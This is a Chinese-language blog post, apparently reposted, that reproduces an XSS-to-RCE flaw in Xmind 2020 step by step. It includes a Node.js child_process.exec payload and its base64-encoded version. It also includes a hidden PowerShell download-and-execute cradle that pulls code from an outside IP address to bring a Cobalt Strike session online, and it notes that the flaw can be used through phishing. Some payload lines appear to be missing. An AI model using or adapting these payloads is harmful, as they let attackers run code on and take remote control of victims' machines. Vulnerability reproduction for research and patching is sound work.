Xmind XSS导致RCE漏洞复现

公众号原文

仅参考复现,和小幅修改

# 01 Xmind简介:

XMind 是一个全功能的思维导图和头脑风暴软件,为激发灵感和创意而生。作为一款有效提升工作和生活效率的生产力工具,受到全球百千万用户的青睐。

# 02 漏洞简介:

Xmind 存在XSS漏洞,攻击者可以借助该漏洞进而实现命令执行,在实际环境中可以借助钓鱼攻击可能造成更严重的危害。

# 03 漏洞影响范围:

最新版本202107130605不受该漏洞影响,次新版本均受该漏洞影响,且需要打开大纲,按任意字符才能触发。

# 04 漏洞复现过程:

测试版本为Xmind2020,安装完成之后,打开软件,随便点击一个思维导图点击创建:

图片

将导图分支修改为poc/exp,然后进入大纲视图查看、测试:

图片

1、首先测试下xss弹窗:

payload:




输入完之后,鼠标移动到payload最后方,敲空格就能触发,或者点击ctrl健也能触发:

图片

2、测试RCE命令执行:

原始payload:


require('child_process').exec('将要执行的系统命令',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });

然后将其进行base64编码:


cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2lwY29uZmlnIC9hbGwnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKfSk7

构造最终的payload,替换里面的内容即可:




触发方式也是一样的,成功执行:

图片

3、测试CS上线:

这里使用powershell上线:

图片
图片

和上面命令执行利用方式一样,将执行的命令替换为powershell上线payload:

由于命令在单引号内,而powershell命令中也有单引号,所以需要用\进行转义:


require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.136.144:888/a\'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });

然后base64编码,再进行最终的payload构造即可:




触发方式一样:

图片

可以看到成功上线:

图片

尝试执行命令,成功:

图片

你可能感兴趣的:(Xmind XSS导致RCE漏洞复现)